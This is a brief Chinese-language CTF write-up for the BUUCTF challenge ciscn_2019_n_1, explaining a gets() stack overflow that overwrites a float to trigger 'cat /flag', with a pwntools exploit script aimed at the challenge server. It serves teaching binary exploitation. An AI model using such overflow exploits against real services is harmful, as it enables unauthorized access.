BUU ciscn_2019_n_1
首先file,是64位elf
IDA,发现main函数会调用func函数,而func中如果v2=11.28125,就会cat /flag,并且上面有个gets,存在栈溢出漏洞
压栈的过程是v1的44字节,然后压栈v2,但是v2是一个float,该如何表示呢?
我们需要找到gets附近的汇编代码,可以看到call gets后就是if语句的逻辑
- 将[rbp+var_4]的内容赋给了xmm0。这个[rbp+var_4]就是栈中的v2
- 然后使用ucomiss进行单精度浮点数比较cs:dword_4007F4和xmm0的值,cs:dword_4007F4就是11.28125的位置,双击可以看到它表示为41348000h
所以可以构造payload,填入44字节+41348000h即可获得flag
from pwn import *
p = remote("node4.buuoj.cn",29450)
payload = b'0'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
标签:BUUctf,ciscn,44,v2,2019,gets,payload
From: https://www.cnblogs.com/nemuzuki/p/17164040.html